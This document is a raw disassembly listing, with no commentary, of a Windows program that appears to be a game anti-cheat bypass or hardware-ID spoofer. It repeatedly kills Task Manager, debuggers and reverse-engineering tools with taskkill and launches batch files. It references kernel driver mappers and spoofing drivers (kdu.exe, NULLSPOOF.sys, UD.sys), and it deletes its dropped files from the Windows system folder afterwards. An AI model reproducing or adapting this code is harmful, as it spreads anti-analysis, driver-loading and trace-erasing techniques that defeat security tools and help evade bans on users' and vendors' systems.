lea rcx, [0x14037b9e0]
call fcn.14029da10
lea rcx, [0x14037ae48]
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAKEBATCHFILETOREPLACE.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemF4KEB4TCHFILETOR3PLAC3.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLAC3.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACR.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR4.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFILETOREPLAC3.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAKEBATCHFILETOREPLACE.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR12.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR13.bat
call fcn.14029da10
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [0x14037b348]
call fcn.14029da10
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x64dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x32dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ollydbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_die
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor r9d, r9d
lea r8, str.200_PING_BYPASSED_ENJOY
lea rdx, str.200_PING_BYPASSED_ENJOY
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ebx, eax
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
cmp ebx, 1
jne 0x14008b3b9
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x64dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x32dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ollydbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_die
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [0x14037b7e8]
call fcn.14029da10
lea rcx, [0x14037b838]
call fcn.14029da10
lea rcx, [0x14037b870]
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAKEBATCHFILETOREPLACE.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFakerbatch.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem200PINGBYPASSER.dll
call fcn.14029da10
lea rcx, str.C:WindowsSystem200PINGBYPASSER.sys
call fcn.14029da10
lea rcx, [0x14037b400]
call fcn.14029da10
lea rcx, [0x14037aef8]
call fcn.14029da10
lea rcx, [0x14037b4b0]
call fcn.14029da10
lea rcx, [0x14037b9c0]
call fcn.14029da10
lea rcx, [0x14037b770]
call fcn.14029da10
lea rcx, [0x14037ace0]
call fcn.14029da10
lea rcx, [0x14037b8f8]
call fcn.14029da10
lea rcx, [0x14037b9e0]
call fcn.14029da10
lea rcx, [0x14037ae48]
call fcn.14029da10
lea rcx, [0x14037b348]
call fcn.14029da10
lea rcx, [0x14037a428]
call fcn.14029da10
lea rcx, [0x14037b400]
call fcn.14029da10
lea rcx, [0x14037b4b0]
call fcn.14029da10
lea rcx, [0x14037b600]
call fcn.14029da10
lea rcx, [0x14037b770]
call fcn.14029da10
lea rcx, [0x14037ace0]
call fcn.14029da10
lea rcx, [0x14037ad90]
call fcn.14029da10
lea rcx, [0x14037ae48]
call fcn.14029da10
lea rcx, [0x14037aef8]
call fcn.14029da10
lea rcx, [0x14037afb0]
call fcn.14029da10
lea rcx, [0x14037ba58]
call fcn.14029da10
lea rcx, [0x14037b558]
call fcn.14029da10
lea rcx, str.C:WindowsSystempng.bat
call fcn.14029da10
lea rcx, [0x14037b1e0]
call fcn.14029da10
lea rcx, [0x14037a428]
call fcn.14029da10
lea rcx, [0x14037b348]
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAKEBATCHFILETOREPLACE.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemF4KEB4TCHFILETOR3PLAC3.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLAC3.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACR.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR4.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFILETOREPLAC3.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAKEBATCHFILETOREPLACE.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR12.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR13.bat
call fcn.14029da10
lea rax, str.C:WindowsSystemdDv.sys
mov qword [rbp + 0x860], rax
lea rax, str.C:WindowsSystemDriverMapperNULLSpoofyy.bat.bat
mov qword [rbp + 0x868], rax
lea rax, str.C:WindowsSystemNULLSPOOF.sys
mov qword [rbp + 0x870], rax
lea rax, str.C:WindowsSystemTRYANCRACKATUROWNRISKBOZOMAPPER.exe
mov qword [rbp + 0x878], rax
lea r10, str.C:WindowsSystemGETTRCIKEDAHAH.bat
mov qword [rbp + 0x880], r10
lea r11, str.C:WindowsSystemmcer.bat
mov qword [rbp + 0x888], r11
lea r9, str.C:WindowsSystem_bbs.bat
mov qword [rbp + 0x890], r9
lea rax, str.C:WindowsSystemchangeids.bat
mov qword [rbp + 0x898], rax
lea r8, str.C:WindowsSystemchf.bat
mov qword [rbp + 0x8a0], r8
lea rdx, str.C:WindowsSystemcps.bat
mov qword [rbp + 0x8a8], rdx
lea rax, str.C:WindowsSystemdrives.bat
mov qword [rbp + 0x8b0], rax
lea rax, str.C:WindowsSystem_regi.bat
mov qword [rbp + 0x8b8], rax
lea rcx, str.C:WindowsSystem_systemspoof.bat
mov qword [rbp + 0x8c0], rcx
lea rax, str.C:WindowsSystemAMIFLDRV64.SYS
mov qword [rbp + 0x8c8], rax
lea rax, str.C:WindowsSystemAMIDEWINx64.EXE
mov qword [rbp + 0x8d0], rax
lea rax, str.C:WindowsSystem_volumeid64.exe
mov qword [rbp + 0x8d8], rax
mov qword [rbp + 0x8e0], r10
mov qword [rbp + 0x8e8], r9
lea rax, str.C:WindowsSystemc.bat
mov qword [rbp + 0x8f0], rax
mov qword [rbp + 0x8f8], r8
mov qword [rbp + 0x900], rdx
lea rax, str.C:WindowsSystem_testaturownrisk.bat
mov qword [rbp + 0x908], rax
mov qword [rbp + 0x910], rcx
mov qword [rbp + 0x918], r11
lea rax, str.C:WindowsSystemRANDOMBATCHFILE.bat
mov qword [rbp + 0x920], rax
lea rax, str.C:WindowsSystemGUD.bat
mov qword [rbp + 0x928], rax
lea rax, str.C:WindowsSystemBIOSF.bat
mov qword [rbp + 0x930], rax
lea rbx, [rbp + 0x860]
nop dword [rax + rax]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
add rbx, 8
lea rax, [rbp + 0x938]
cmp rbx, rax
jne 0x14008b3a0
lea rcx, [rbp + 0xc0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0xa0]
call fcn.1400777a0
nop
lea rcx, [rbp - 0x40]
call fcn.1400777a0
nop
lea rcx, [rbp]
call fcn.1400777a0
nop
lea rcx, [rbp - 0x60]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x7e0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x800]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x820]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x840]
call fcn.1400777a0
nop
lea rcx, [rbp + 0xe0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x100]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x120]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x140]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x160]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x180]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x1a0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x1c0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x1e0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x200]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x220]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x240]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x260]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x280]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x2a0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x2c0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x2e0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x300]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x320]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x340]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x360]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x380]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x3a0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x3c0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x3e0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x400]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x420]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x440]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x460]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x480]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x4a0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x4c0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x4e0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x500]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x520]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x540]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x560]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x580]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x5a0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x5c0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x5e0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x600]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x620]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x640]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x660]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x680]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x6a0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x6c0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x6e0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x700]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x720]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x740]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x760]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x80]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x40]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x780]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x7a0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x7c0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x60]
call fcn.1400777a0
nop
lea rcx, [rbp - 0x20]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x20]
call fcn.1400777a0
movaps xmm1, xmm7
xorps xmm0, xmm0
call fcn.1400b3110
movaps xmm2, xmm6
movss xmm1, dword [0x1403849dc]
lea rcx, [rbp - 0x40]
call fcn.140078e00
mov rdx, rax
lea rcx, str.EXIT
call fcn.1400da5b0
test al, al
je 0x14008c295
lea rcx, str.C:WindowsSystempng.bat
call fcn.14029da10
lea rcx, [0x14037b1e0]
call fcn.14029da10
lea rcx, [0x14037a428]
call fcn.14029da10
lea rcx, str.C:WindowsSystempleasefuckurpcup.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_trymeaturownriskahahhadontfuckup.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemRandgrid.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemAurum.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdu.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAKEBATCHFILETOREPLACE.bat
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAKEUDMAPPER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemUD.sys
call fcn.14029da10
